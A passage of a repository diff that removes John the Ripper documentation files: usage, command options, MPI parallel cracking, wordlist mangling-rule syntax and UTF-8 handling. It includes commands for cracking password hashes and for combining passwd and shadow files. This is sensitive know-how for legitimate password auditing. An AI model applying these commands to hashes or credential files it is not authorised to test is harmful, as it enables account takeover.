types unless you have other hash types (those supported by John
|
||||
natively) in the password file(s) as well (in which case another hash
|
||||
type may get detected unless you specify this option).
|
||||
|
||||
"--format=crypt" is also a way to make John crack crypt(3) hashes of
|
||||
different types at the same time, but doing so results in poor
|
||||
performance and in unnecessarily poor results (in terms of passwords
|
||||
cracked) for hashes of the "faster" types (as compared to the "slower"
|
||||
ones loaded for cracking at the same time). So you are advised to use
|
||||
separate invocations of John, one per hash type.
|
||||
|
||||
--subformat=LIST displays all the built-in md5-gen formats, and exits
|
||||
|
||||
--save-memory=LEVEL enable memory saving, at LEVEL 1..3
|
||||
|
||||
You might need this option if you don't have enough memory or don't
|
||||
want John to affect other processes too much. Level 1 tells John to
|
||||
not waste memory on login names; it is only supported when a cracking
|
||||
mode other than "single crack" is explicitly requested. The only
|
||||
impact is that you won't see the login names while cracking. Higher
|
||||
memory saving levels have a performance impact; you should probably
|
||||
avoid using them unless John doesn't work or gets into swap otherwise.
|
||||
|
||||
--mem-file-size=SIZE max size of wordlist to preload into memory
|
||||
|
||||
One of the significant performance improvements for some builds of
|
||||
john, is preloading the wordlist file into memory, instead of reading
|
||||
line by line. This is especially true when running with a large list
|
||||
of --rules. The default max size file is 5 million bytes. Using this
|
||||
option allows making this larger. NOTE if --save-memory is used,
|
||||
then memory file processing is turned off.
|
||||
|
||||
--field-separator-char=c Use 'c' instead of the char ':'
|
||||
|
||||
By design, john works with most files, as 'tokenized' files. The field
|
||||
separator used by john is the colon ':' character. However, there are
|
||||
hashes which use the colon in the salt field, and there are users which
|
||||
may have a colon for a user name (for a couple examples of problems
|
||||
with it). However, an advanced john user can change the input files,
|
||||
by using a different character than the ':' (and different than any
|
||||
other 'used' character), and avoid problems of lines not being properly
|
||||
processed. The side effects are that the pot file will get this
|
||||
'character' used in it also (and only lines in the pot file that HAVE
|
||||
that character will be loaded at startup), and there are other side
|
||||
effects. Usually, this is ONLY used in very advanced situations, where
|
||||
the user 'knows what he is doing'. If the character can not be easily
|
||||
represented by the keyboard, then the format of
|
||||
--field-separator-char=\xHH can be used. --field-separator-char=\x1F
|
||||
would represent the character right before the space (space is 0x20)
|
||||
|
||||
--fix-state-delay=N only determine the wordlist offset every N times
|
||||
|
||||
This is an optimization which helps on some systems. This just
|
||||
limits the number of times that the ftell() call is performed.
|
||||
The one side effect, is that if john is aborted, and restarted, it
|
||||
may redo more tests. Thus, the use of this option is only acceptable
|
||||
and desirable for fast hash types (e.g., raw MD5).
|
||||
|
||||
--nolog turns off john.log file
|
||||
|
||||
This will turn off creation, or updating to the john.log file (which may
|
||||
have a different name if the --session=NAME flag was used.) Often the
|
||||
logging is not wanted, and this log file can often become very large
|
||||
(such as working with many 'fast' rules on a fast format). The log file
|
||||
is often used to check what work has been done, but if this will not be
|
||||
needed, and the log file is simply going to be deleted when done, then
|
||||
running in --nolog mode may be used.
|
||||
|
||||
|
||||
Additional utilities.
|
||||
|
||||
There are some related utilities in John's run directory:
|
||||
|
||||
unshadow PASSWORD-FILE SHADOW-FILE
|
||||
|
||||
Combines the "passwd" and "shadow" files (when you already have access
|
||||
to both) for use with John. You might need this since if you only
|
||||
used your shadow file, the "Full Name" or "GECOS" information wouldn't
|
||||
be used by the "single crack" mode (thus reducing its efficiency) and
|
||||
you wouldn't be able to use the "--groups" and "--shells" options and
|
||||
to select by UID with "--users". You probably also want to see all of
|
||||
the passwd file fields with "--show".
|
||||
|
||||
You'll usually want to redirect the output of "unshadow" to a file
|
||||
which you then pass to John.
|
||||
|
||||
unafs DATABASE-FILE CELL-NAME
|
||||
|
||||
Gets password hashes out of the binary AFS database and produces
|
||||
output usable by John (you should redirect the output to a file).
|
||||
|
||||
unique OUTPUT-FILE
|
||||
|
||||
Removes duplicates from a wordlist (read from stdin) without changing
|
||||
the order of entries. You might want to use this with John's
|
||||
"--stdout" option if you've got a lot of disk space to trade for the
|
||||
reduced cracking time (on possibly trying some duplicates as they
|
||||
might be produced with word mangling rules).
|
||||
This program has been updated. It is faster, it now can 'cut' the
|
||||
lines (in a couple of ways), and can unique the files data, AND also
|
||||
unique it against an existing file.
|
||||
|
||||
mailer PASSWORD-FILE
|
||||
|
||||
A shell script to send mail to all the users who got weak passwords.
|
||||
You should edit the message inside the script before using it.
|
||||
|
||||
Based on (and modified in the jumbo patch):
|
||||
$Owl: Owl/packages/john/john/doc/OPTIONS,v 1.9 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,137 +0,0 @@
|
|||
John the Ripper password cracker.
|
||||
|
||||
John the Ripper is a fast password cracker, currently available for
|
||||
many flavors of Unix (11 are officially supported, not counting
|
||||
different architectures), DOS, Win32, BeOS, and OpenVMS (the latter
|
||||
requires a contributed patch). Its primary purpose is to detect weak
|
||||
Unix passwords. Besides several crypt(3) password hash types most
|
||||
commonly found on various Unix flavors, supported out of the box are
|
||||
Kerberos/AFS and Windows LM hashes, plus many more with contributed
|
||||
patches.
|
||||
|
||||
|
||||
How to install.
|
||||
|
||||
See INSTALL for information on installing John on your system.
|
||||
|
||||
|
||||
How to use.
|
||||
|
||||
To run John, you need to supply it with some password files and
|
||||
optionally specify a cracking mode, like this, using the default order
|
||||
of modes and assuming that "passwd" is a copy of your password file:
|
||||
|
||||
john passwd
|
||||
|
||||
or, to restrict it to the wordlist mode only, but permitting the use
|
||||
of word mangling rules:
|
||||
|
||||
john --wordlist=password.lst --rules passwd
|
||||
|
||||
Cracked passwords will be printed to the terminal and saved in the
|
||||
file called $JOHN/john.pot (in the documentation and in the
|
||||
configuration file for John, "$JOHN" refers to John's "home
|
||||
directory"; which directory it really is depends on how you installed
|
||||
John). The $JOHN/john.pot file is also used to not load password
|
||||
hashes that you already cracked when you run John the next time.
|
||||
|
||||
To retrieve the cracked passwords, run:
|
||||
|
||||
john --show passwd
|
||||
|
||||
While cracking, you can press any key for status, or Ctrl-C to abort
|
||||
the session saving its state to a file ($JOHN/john.rec by default).
|
||||
If you press Ctrl-C for a second time before John had a chance to
|
||||
handle your first Ctrl-C, John will abort immediately without saving.
|
||||
By default, the state is also saved every 10 minutes to permit for
|
||||
recovery in case of a crash.
|
||||
|
||||
To continue an interrupted session, run:
|
||||
|
||||
john --restore
|
||||
|
||||
These are just the most essential things you can do with John. For
|
||||
a complete list of command line options and for more complicated usage
|
||||
examples you should refer to OPTIONS and EXAMPLES, respectively.
|
||||
|
||||
Please note that "binary" (pre-compiled) distributions of John may
|
||||
include alternate executables instead of just "john". You may need to
|
||||
choose the executable which fits your system best, e.g. "john-mmx" to
|
||||
take advantage of MMX acceleration.
|
||||
|
||||
|
||||
Features and performance.
|
||||
|
||||
John the Ripper is designed to be both feature-rich and fast. It
|
||||
combines several cracking modes in one program and is fully
|
||||
configurable for your particular needs (you can even define a custom
|
||||
cracking mode using the built-in compiler supporting a subset of C).
|
||||
Also, John is available for several different platforms which enables
|
||||
you to use the same cracker everywhere (you can even continue a
|
||||
cracking session which you started on another platform).
|
||||
|
||||
Out of the box, John supports (and autodetects) the following Unix
|
||||
crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended
|
||||
DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and
|
||||
OpenBSD Blowfish-based (now also used on some Linux distributions and
|
||||
supported by recent versions of Solaris). Also supported out of the box
|
||||
are Kerberos/AFS and Windows LM (DES-based) hashes.
|
||||
|
||||
When running on Linux distributions with glibc 2.7+, John 1.7.6+
|
||||
additionally supports (and autodetects) SHA-crypt hashes (which are
|
||||
actually used by recent versions of Fedora and Ubuntu), with optional
|
||||
OpenMP parallelization (requires GCC 4.2+, needs to be explicitly
|
||||
enabled at compile-time by uncommenting the proper OMPFLAGS line near
|
||||
the beginning of the Makefile).
|
||||
|
||||
Similarly, when running on recent versions of Solaris, John 1.7.6+
|
||||
supports and autodetects SHA-crypt and SunMD5 hashes, also with
|
||||
optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio,
|
||||
needs to be explicitly enabled at compile-time by uncommenting the
|
||||
proper OMPFLAGS line near the beginning of the Makefile and at runtime
|
||||
by setting the OMP_NUM_THREADS environment variable to the desired
|
||||
number of threads).
|
||||
|
||||
John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac
|
||||
OS X 10.4+ salted SHA-1 hashes.
|
||||
|
||||
Contributed patches, combined into the "jumbo patch", add support for
|
||||
many more password hash types, including Windows NTLM (MD4-based)
|
||||
and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary
|
||||
MD5-based "web application" password hash types, hashes used by SQL
|
||||
database servers (MySQL, MS SQL, Oracle) and by some LDAP servers,
|
||||
several hash types used on OpenVMS, password hashes of the Eggdrop IRC
|
||||
bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs.
|
||||
|
||||
Unlike other crackers, John normally does not use a crypt(3)-style
|
||||
routine. Instead, it has its own highly optimized modules for different
|
||||
hash types and processor architectures. Some of the algorithms used,
|
||||
such as bitslice DES, couldn't have been implemented within the crypt(3)
|
||||
API; they require a more powerful interface such as the one used in
|
||||
John. Additionally, there are assembly language routines for several
|
||||
processor architectures, most importantly for x86-64 and x86 with SSE2.
|
||||
|
||||
|
||||
Documentation.
|
||||
|
||||
The rest of documentation is located in separate files, listed here in
|
||||
the recommended order of reading:
|
||||
|
||||
* INSTALL - installation instructions
|
||||
* OPTIONS - command line options and additional utilities
|
||||
* MODES - cracking modes: what they are
|
||||
* CONFIG (*) - how to customize
|
||||
* RULES (*) - wordlist rules syntax
|
||||
* EXTERNAL (*) - defining an external mode
|
||||
* EXAMPLES - usage examples - strongly recommended
|
||||
* FAQ - guess
|
||||
* CHANGES (*) - history of changes
|
||||
* CONTACT (*) - how to contact the author or otherwise obtain support
|
||||
* CREDITS (*) - credits
|
||||
* LICENSE - copyrights and licensing terms
|
||||
|
||||
(*) most users can safely skip these.
|
||||
|
||||
Happy reading!
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,154 +0,0 @@
|
|||
====================
|
||||
PRELUDE:
|
||||
====================
|
||||
The original implementation was ca. 2004 by Ryan Lim as an academic
|
||||
project. It was later picked up and maintained at bindshell.net, adding
|
||||
fixes for the JtR 1.7 releases and various cipher patches.
|
||||
|
||||
In 2008, it was picked up by AoZ and stripped back down to the original
|
||||
MPI-only changes to improve its compatibility with the 'jumbo' patchsets,
|
||||
which had better-maintained alternate cipher support. This is often
|
||||
referred to as "the mpi10 patch"
|
||||
|
||||
In 2010, it was extended by magnum to support all cracking modes. This
|
||||
should be referred to as "the fullmpi patch" to avoid confusion. With the
|
||||
exception of Markov it is far from perfect but it works just fine and
|
||||
should support correct resuming in all modes. It is well tested but you
|
||||
have absolutely NO guarantees.
|
||||
|
||||
====================
|
||||
COMPILING:
|
||||
====================
|
||||
Unless using OMP, you should consider applying the nsk-3 patch, also known
|
||||
as "Faster bitslice DES key setup".
|
||||
|
||||
To enable MPI in John, un-comment these two line in Makefile:
|
||||
|
||||
----8<--------------8<--------------8<--------------8<--------------8<----------
|
||||
# Uncomment the TWO lines below for MPI (can be used together with OMP as well)
|
||||
CC = mpicc -DHAVE_MPI
|
||||
MPIOBJ = john-mpi.o
|
||||
----8<--------------8<--------------8<--------------8<--------------8<----------
|
||||
|
||||
You must have an operational MPI environment prior to both compiling and
|
||||
using the MPI version; configuring one is outside the scope of this
|
||||
document but for a single, multi-core, host you don't need much
|
||||
configuration. MPICH2 or OpenMPI seems to do the job fine, for example.
|
||||
Most testing of fullmpi is now done under latest stable OpenMPI.
|
||||
|
||||
Debian Linux example for installing OpenMPI:
|
||||
sudo apt-get install libopenmpi-dev openmpi-bin
|
||||
|
||||
Note that this patch works just fine together with OMP enabled as well.
|
||||
When MPI is in use (with more than one process), OMP is (by default)
|
||||
automatically disabled. Advanced users may want to change this setting
|
||||
(change MPIOMPmutex to N in john.conf) and start one MPI node per
|
||||
multi-core host, letting OMP do the rest. Warnings are printed; these
|
||||
can be muted in john.conf too.
|
||||
|
||||
====================
|
||||
USAGE:
|
||||
====================
|
||||
Typical invocation is as follows:
|
||||
|
||||
mpiexec -np 4 ./john --incremental passwd
|
||||
|
||||
The above will launch four parallel processes that will split the
|
||||
Incremental keyspace in a more-or-less even fashion. If you run it to
|
||||
completion, some nodes will however finish very early due to how this
|
||||
mode is implemented, decreasing the overall performance. This problem
|
||||
gets much worse with a lot of nodes.
|
||||
|
||||
In MARKOV mode, the range is automatically split evenly across the nodes,
|
||||
just like you could do manually. This does not introduce any overhead,
|
||||
assuming job runs to completion - and also assuming your MPI compiler
|
||||
behaves.
|
||||
|
||||
The single and wordlist modes scale fairly well and cleartexts will not be
|
||||
tried by more than one node (except when different word + rule combinations
|
||||
result in the same candidate, but that problem is not MPI specific).
|
||||
|
||||
In SINGLE mode, and sometimes in Wordlist mode (see below), john will
|
||||
distribute (actually leapfrog) the rules (after preprocessor expansion).
|
||||
This works very well but will not likely result in a perfectly even
|
||||
workload across nodes.
|
||||
|
||||
WORDLIST mode with rules will work the same way. Without rules, or when
|
||||
rules can't be split across the nodes, john will distribute (again, it
|
||||
really just leapfrogs) the words instead. This is practically the same as
|
||||
using the External:Parallel example filter in john.conf, but much more user
|
||||
friendly.
|
||||
|
||||
If the --mem-file-size parameter (default 5000000) will allow the file to
|
||||
be loaded in memory, this will be preferred and each node will only load
|
||||
its own share of words. In this case, there is no further leapfrogging and
|
||||
no other overhead. Note that the limit is per node, so using the default
|
||||
and four nodes, a 16 MB file WILL be loaded to memory, with 4 MB on each
|
||||
node.
|
||||
|
||||
You can override the leapfrogging selection. This is debug code really and
|
||||
should eventually be replace by proper options:
|
||||
|
||||
--mem-file-size=0 (force split loading, no leapfrog)
|
||||
--mem-file-size=1 (force leapfrogging of words)
|
||||
--mem-file-size=2 (force leapfrogging of rules)
|
||||
|
||||
In EXTERNAL mode, john will distribute candidates in the same way as in
|
||||
Wordlist mode without rules. That is, all candidates will be produced on
|
||||
all nodes, and then skipped by all nodes but one. This is the mode where
|
||||
the fullmpi patch performs worst. When attacking very fast formats, this
|
||||
scales VERY poorly.
|
||||
|
||||
|
||||
You may send a USR1 signal to the parent MPI process (or HUP to all
|
||||
individual processes) to cause the subprocesses to print out their status.
|
||||
Be aware that they may not appear in order, because they blindly share the
|
||||
same terminal.
|
||||
|
||||
skill -USR1 -c mpiexec
|
||||
|
||||
Another approach would be to do a normal status print. This must be done
|
||||
with mpiexec and using the same -np as used for starting the job:
|
||||
|
||||
mpiexec -np 4 ./john --status
|
||||
|
||||
Which will dump the status of each process as recorded in the .rec files.
|
||||
This way you also get a line with total statistics.
|
||||
|
||||
====================
|
||||
CAVEATS:
|
||||
====================
|
||||
- This implementation does not account for heterogeneous clusters or nodes
|
||||
that come and go.
|
||||
- In interest of cooperating with other patches, benchmarking is less
|
||||
accurate. Specifically, it assumes all participant cores are the same
|
||||
as the fastest.
|
||||
- Benchmark virtual c/s will appear inflated if launching more processes
|
||||
than cores available. It will basically indicate what the speed would be
|
||||
with that many real cores.
|
||||
- There is no inter-process communication of cracked hashes yet. This means
|
||||
that if one node cracks a hash, all other nodes will continue to waste
|
||||
time on it. The current workaround is aborting and restarting the jobs
|
||||
regularly. This also means that you may have to manually stop some or all
|
||||
nodes after all hashes are cracked.
|
||||
- Aborting a job using ctrl-c will often kill all nodes without updating
|
||||
state files and logs. I have tried to mitigate this but it is still a
|
||||
good idea to send a -USR1 to the parent before killing them. You should
|
||||
lower the SAVE parameter in john.conf to 60 (seconds) if running MPI,
|
||||
this will be the maximum time of repeated work after restarting.
|
||||
|
||||
============================================================
|
||||
Following is the verbatim original content of this file:
|
||||
============================================================
|
||||
|
||||
This distribution of John the Ripper (1.6.36) requires MPI to compile.
|
||||
|
||||
If you don't have MPI, download and install it before proceeeding.
|
||||
|
||||
Any bugs, patches, comments or love letters should be sent to
|
||||
jtr-mpi@hash.ryanlim.com. Hate mail, death threates should be sent to
|
||||
/dev/null.
|
||||
|
||||
Enjoy.
|
||||
--
|
||||
Ryan Lim <jtr-mpi@hash.ryanlim.com>
|
||||
|
|
@ -1,295 +0,0 @@
|
|||
Wordlist rules syntax.
|
||||
|
||||
Each wordlist rule consists of optional rule reject flags followed by
|
||||
one or more simple commands, listed all on one line and optionally
|
||||
separated with spaces. There's also a preprocessor, which generates
|
||||
multiple rules for a single source line. Below you will find
|
||||
descriptions of the rule reject flags, the rule commands (many of them
|
||||
are compatible with those of Crack 5.0a), and the preprocessor syntax.
|
||||
|
||||
|
||||
Rule reject flags.
|
||||
|
||||
-: no-op: don't reject
|
||||
-c reject this rule unless current hash type is case-sensitive
|
||||
-8 reject this rule unless current hash type uses 8-bit characters
|
||||
-s reject this rule unless some password hashes were split at loading
|
||||
-p reject this rule unless word pair commands are currently allowed
|
||||
-u reject this rule unless the --utf8 flag is used
|
||||
-U reject this rule if the --utf8 flag is used
|
||||
|
||||
|
||||
Numeric constants and variables.
|
||||
|
||||
Numeric constants may be specified and variables referred to with the
|
||||
following characters:
|
||||
|
||||
0...9 for 0...9
|
||||
A...Z for 10...35
|
||||
* for max_length
|
||||
- for (max_length - 1)
|
||||
+ for (max_length + 1)
|
||||
a...k user-defined numeric variables (with the "v" command)
|
||||
l initial or updated word's length (updated whenever "v" is used)
|
||||
m initial or memorized word's last character position
|
||||
p position of the character last found with the "/" or "%" commands
|
||||
z "infinite" position or length (beyond end of word)
|
||||
|
||||
Here max_length is the maximum plaintext length supported for the
|
||||
current hash type.
|
||||
|
||||
These may be used to specify character positions, substring lengths, and
|
||||
other numeric parameters to rule commands as appropriate for a given
|
||||
command. Character positions are numbered starting with 0. Thus, for
|
||||
example, the initial value of "m" (last character position) is one less
|
||||
than that of "l" (length).
|
||||
|
||||
|
||||
Character classes.
|
||||
|
||||
?? matches "?"
|
||||
?v matches vowels: "aeiouAEIOU"
|
||||
?c matches consonants: "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ"
|
||||
?w matches whitespace: space and horizontal tabulation characters
|
||||
?p matches punctuation: ".,:;'?!`" and the double quote character
|
||||
?s matches symbols "$%^&*()-_+=|\<>[]{}#@/~"
|
||||
?l matches lowercase letters [a-z]
|
||||
?u matches uppercase letters [A-Z]
|
||||
?d matches digits [0-9]
|
||||
?a matches letters [a-zA-Z]
|
||||
?x matches letters and digits [a-zA-Z0-9]
|
||||
?z matches all characters
|
||||
?b matches characters with 8th bit set (mnemonic "b for binary")
|
||||
|
||||
The complement of a class can be specified by uppercasing its name. For
|
||||
example, "?D" matches everything but digits.
|
||||
|
||||
|
||||
Simple commands.
|
||||
|
||||
: no-op: do nothing to the input word
|
||||
l convert to lowercase
|
||||
u convert to uppercase
|
||||
c capitalize
|
||||
C lowercase the first character, and uppercase the rest
|
||||
t toggle case of all characters in the word
|
||||
TN toggle case of the character in position N
|
||||
r reverse: "Fred" -> "derF"
|
||||
d duplicate: "Fred" -> "FredFred"
|
||||
f reflect: "Fred" -> "FredderF"
|
||||
{ rotate the word left: "jsmith" -> "smithj"
|
||||
} rotate the word right: "smithj" -> "jsmith"
|
||||
$X append character X to the word
|
||||
^X prefix the word with character X
|
||||
|
||||
|
||||
String commands.
|
||||
|
||||
AN"STR" insert string STR into the word at position N
|
||||
|
||||
To append a string, specify "z" for the position. To prefix the word
|
||||
with a string, specify "0" for the position.
|
||||
|
||||
Although the use of the double-quote character is good for readability,
|
||||
you may use any other character not found in STR instead. This is
|
||||
particularly useful when STR contains the double-quote character.
|
||||
There's no way to escape your quotation character of choice within a
|
||||
string (preventing it from ending the string and the command), but you
|
||||
may achieve the same effect by specifying multiple commands one after
|
||||
another. For example, if you choose to use the forward slash as your
|
||||
quotation character, yet it happens to be found in a string and you
|
||||
don't want to reconsider your choice, you may write "Az/yes/$/Az/no/",
|
||||
which will append the string "yes/no". Of course, it is simpler and
|
||||
more efficient to use, say, "Az,yes/no," for the same effect.
|
||||
|
||||
|
||||
Length control commands.
|
||||
|
||||
<N reject the word unless it is less than N characters long
|
||||
>N reject the word unless it is greater than N characters long
|
||||
'N truncate the word at length N
|
||||
|
||||
|
||||
English grammar commands.
|
||||
|
||||
p pluralize: "crack" -> "cracks", etc. (lowercase only)
|
||||
P "crack" -> "cracked", etc. (lowercase only)
|
||||
I "crack" -> "cracking", etc. (lowercase only)
|
||||
|
||||
|
||||
Insert/delete commands.
|
||||
|
||||
[ delete the first character
|
||||
] delete the last character
|
||||
DN delete the character in position N
|
||||
xNM extract substring from position N for up to M characters
|
||||
iNX insert character X in position N and shift the rest right
|
||||
oNX overstrike character in position N with character X
|
||||
|
||||
Also see the "X" command (extract and insert substring) under "Memory
|
||||
access commands" below.
|
||||
|
||||
Note that square brackets ("[" and "]") are special characters to the
|
||||
preprocessor: you should escape them with a backslash ("\") if using
|
||||
these commands.
|
||||
|
||||
|
||||
Charset conversion commands.
|
||||
|
||||
S shift case: "Crack96" -> "cRACK(^"
|
||||
V lowercase vowels, uppercase consonants: "Crack96" -> "CRaCK96"
|
||||
R shift each character right, by keyboard: "Crack96" -> "Vtsvl07"
|
||||
L shift each character left, by keyboard: "Crack96" -> "Xeaxj85"
|
||||
|
||||
|
||||
Memory access commands.
|
||||
|
||||
M memorize the word (for use with "Q", "X", or to update "m")
|
||||
Q query the memory and reject the word unless it has changed
|
||||
XNMI extract substring NM from memory and insert into current word at I
|
||||
|
||||
If "Q" or "X" are used without a preceding "M", they read from the
|
||||
initial "word". In other words, you may assume an implied "M" at the
|
||||
start of each rule, and there's no need to ever start a rule with "M"
|
||||
(that "M" would be a no-op). The only reasonable use for "M" is in the
|
||||
middle of a rule, after some commands have possibly modified the word.
|
||||
|
||||
The intended use for the "Q" command is to help avoid duplicate
|
||||
candidate passwords that could result from multiple similar rules. For
|
||||
example, if you have the rule "l" (lowercase) somewhere in your ruleset
|
||||
and you want to add the rule "lr" (lowercase and reverse), you could
|
||||
instead write the latter as "lMrQ" in order to avoid producing duplicate
|
||||
candidate passwords for palindromes.
|
||||
|
||||
The "X" command extracts a substring from memory (or from the initial
|
||||
word if "M" was never used) starting at position N (in the memorized or
|
||||
initial word) and going for up to M characters. It inserts the
|
||||
substring into the current word at position I. The target position may
|
||||
be "z" for appending the substring, "0" for prefixing the word with it,
|
||||
or it may be any other valid numeric constant or variable. Some example
|
||||
uses, assuming that we're at the start of a rule or after an "M", would
|
||||
be "X011" (duplicate the first character), "Xm1z" (duplicate the last
|
||||
character), "dX0zz" (triplicate the word), "<4X011X113X215" (duplicate
|
||||
every character in a short word), ">9x5zX05z" (rotate long words left by
|
||||
5 characters, same as ">9{{{{{" but faster due to fewer commands),
|
||||
">9vam4Xa50'l" (rotate right by 5 characters, same as ">9}}}}}").
|
||||
|
||||
|
||||
Numeric commands.
|
||||
|
||||
vVNM update "l" (length), then subtract M from N and assign to variable V
|
||||
|
||||
V must be one of "a" through "k". N and M may be any valid numeric
|
||||
constants or initialized variables. It is OK to refer to the same
|
||||
variable in the same command more than once, even three times. For
|
||||
example, "va00" and "vaaa" will both set the variable "a" to zero (but
|
||||
the latter will require "a" to have been previously initialized),
|
||||
whereas "vil2" will set the variable "i" to the current word's length
|
||||
minus 2. If "i" is then used as a character position before the word is
|
||||
modified further, it will refer to the second character from the end.
|
||||
It is OK for intermediate variable values to become negative, but such
|
||||
values should not be directly used as positions or lengths. For
|
||||
example, if we follow our "vil2" somewhere later in the same rule with
|
||||
"vj02vjij", we'll set "j" to "i" plus 2, or to the word's length as of
|
||||
the time of processing of the "vil2" command earlier in the rule.
|
||||
|
||||
|
||||
Character class commands.
|
||||
|
||||
sXY replace all characters X in the word with Y
|
||||
s?CY replace all characters of class C in the word with Y
|
||||
@X purge all characters X from the word
|
||||
@?C purge all characters of class C from the word
|
||||
!X reject the word if it contains character X
|
||||
!?C reject the word if it contains a character in class C
|
||||
/X reject the word unless it contains character X
|
||||
/?C reject the word unless it contains a character in class C
|
||||
=NX reject the word unless character in position N is equal to X
|
||||
=N?C reject the word unless character in position N is in class C
|
||||
(X reject the word unless its first character is X
|
||||
(?C reject the word unless its first character is in class C
|
||||
)X reject the word unless its last character is X
|
||||
)?C reject the word unless its last character is in class C
|
||||
%NX reject the word unless it contains at least N instances of X
|
||||
%N?C reject the word unless it contains at least N characters of class C
|
||||
|
||||
|
||||
Extra "single crack" mode commands.
|
||||
|
||||
When defining "single crack" mode rules, extra commands are available
|
||||
for word pairs support, to control if other commands are applied to the
|
||||
first, the second, or to both words:
|
||||
|
||||
1 first word only
|
||||
2 second word only
|
||||
+ the concatenation of both (should only be used after a "1" or "2")
|
||||
|
||||
If you use some of the above commands in a rule, it will only process
|
||||
word pairs (e.g., full names from the GECOS field) and reject single
|
||||
words. A "+" is assumed at the end of any rule that uses some of these
|
||||
commands, unless you specify it manually. For example, "1l2u" will
|
||||
convert the first word to lowercase, the second one to uppercase, and
|
||||
use the concatenation of both. The use for a "+" might be to apply some
|
||||
more commands: "1l2u+r" will reverse the concatenation of both words,
|
||||
after applying some commands to them separately.
|
||||
|
||||
|
||||
The rule preprocessor.
|
||||
|
||||
The preprocessor is used to combine similar rules into one source line.
|
||||
For example, if you need to make John try lowercased words with digits
|
||||
appended, you could write a rule for each digit, 10 rules total. Now
|
||||
imagine appending two-digit numbers - the configuration file would get
|
||||
large and ugly.
|
||||
|
||||
With the preprocessor you can do these things easier. Simply write one
|
||||
source line containing the common part of these rules followed by the
|
||||
list of characters you would have put into separate rules, in square
|
||||
brackets (the way you would do in a regexp). The preprocessor will then
|
||||
generate the rules for you (at John startup for syntax checking, and
|
||||
once again while cracking, but never keeping all of the expanded rules
|
||||
in memory). For the examples above, the source lines will be "l$[0-9]"
|
||||
(lowercase and append a digit) and "l$[0-9]$[0-9]" (lowercase and append
|
||||
two digits). These source lines will be expanded to 10 and 100 rules,
|
||||
respectively. By the way, preprocessor commands are processed
|
||||
right-to-left while character lists are processed left-to-right, which
|
||||
results in natural ordering of numbers in the above examples and in
|
||||
other typical cases. Note that arbitrary combinations of character
|
||||
ranges and character lists are valid. For example, "[aeiou]" will use
|
||||
vowels, whereas "[aeiou0-9]" will use vowels and digits. If you need to
|
||||
have John try vowels followed by all other letters, you can use
|
||||
"[aeioua-z]" - the preprocessor is smart enough not to produce duplicate
|
||||
rules in such cases (although this behavior may be disabled with the
|
||||
"\r" magic escape sequence described below).
|
||||
|
||||
There are some special characters in rules ("[" starts a preprocessor
|
||||
character list, "-" marks a range inside the list, etc.) You should
|
||||
prefix them with a backslash ("\") if you want to put them inside a rule
|
||||
without using their special meaning. Of course, the same applies to "\"
|
||||
itself. Also, if you need to start a preprocessor character list at the
|
||||
very beginning of a line, you'll have to prefix it with a ":" (the no-op
|
||||
rule command), or it would be treated as a new section start.
|
||||
|
||||
Finally, the preprocessor supports some magic escape sequences. These
|
||||
start with a backslash and use characters that you would not normally
|
||||
need to escape. In the following paragraph describing the escapes, the
|
||||
word "range" refers to a single instance of a mix of character lists
|
||||
and/or ranges placed in square brackets as illustrated above.
|
||||
|
||||
Currently supported are "\1" through "\9" for back-references to prior
|
||||
ranges (these will be substituted by the same character that is
|
||||
currently substituted for the referenced range, with ranges numbered
|
||||
from 1, left-to-right), "\0" for back-reference to the immediately
|
||||
preceding range, "\p" before a range to have that range processed "in
|
||||
parallel" with preceding ranges, "\p1" through "\p9" to have the range
|
||||
processed "in parallel" with the specific referenced range, "\p0" to
|
||||
have the range processed "in parallel" with the immediately preceding
|
||||
range, and "\r" to allow the range to produce repeated characters. The
|
||||
"\r" escape is only useful if the range is "parallel" to another one or
|
||||
if there's at least one other range "parallel" to this one, because you
|
||||
should not want to actually produce duplicate rules.
|
||||
|
||||
Please refer to the default configuration file for John the Ripper for
|
||||
many example uses of the features described in here.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/RULES,v 1.11 2010/02/26 01:13:37 solar Exp $
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
This version of John is UTF-8 aware, using a new option flag. In short,
|
||||
this flag says "my wordlists and input files are encoded in UTF-8" and
|
||||
it can be used without knowing if the particular format is affected or
|
||||
not.
|
||||
|
||||
Without this support, John will assume ISO-8859-1 when converting
|
||||
plaintexts or salts to UTF-16. This affects many Microsoft formats
|
||||
like NT, mscash and mssql. Other formats, like DES or MD5 are never
|
||||
doing such conversion, so you would just use wordlists encoded in the
|
||||
same format as the hashes once were generated in. The --utf8 flag is
|
||||
supported for such formats too, but will only affect the new reject
|
||||
rules, see below.
|
||||
|
||||
To enable UTF-8 conversion, just add the --utf8 flag. This will affect
|
||||
not only wordlist files, but also salts, usernames (when used as salt)
|
||||
and any info used by --single. You can also test all the UTF-8 aware
|
||||
formats at once using "john --test --utf8"
|
||||
|
||||
To convert a wordlist to UTF-8, use iconv(1):
|
||||
|
||||
$ iconv -f koi8r -t utf-8 cslang >cslang.utf8
|
||||
|
||||
You can convert from/to a large number of formats, see iconv's man page.
|
||||
|
||||
|
||||
Two new reject rules are implemented:
|
||||
|
||||
-u reject rule unless the --utf8 flag is used
|
||||
|
||||
-U reject rule if the --utf8 flag is used
|
||||
|
||||
Note that this can be used to enable/disable certain rules even for
|
||||
formats that does not use UTF-16 internally (eg. raw md5 of utf-8
|
||||
plaintexts).
|
||||
|
||||
|
||||
A new character class is also implemented, ?b (b for binary). It matches
|
||||
8-bit characters. This can be used with or without the UTF-8 support.
|
||||
|
||||
|
||||
Caveats:
|
||||
- UTF-8 conversion is often slower than the default ISO-8859-1 one, so
|
||||
it's advisable to only use this when you have to. That is, when your
|
||||
wordlist contains characters not included in ISO-8859-1.
|
||||
- Some wordlist rules may cut UTF-8 multibyte sequences in the middle,
|
||||
resulting in garbage. You can reject such rules with -U to have them in
|
||||
use only when --utf8 is not used.
|
||||
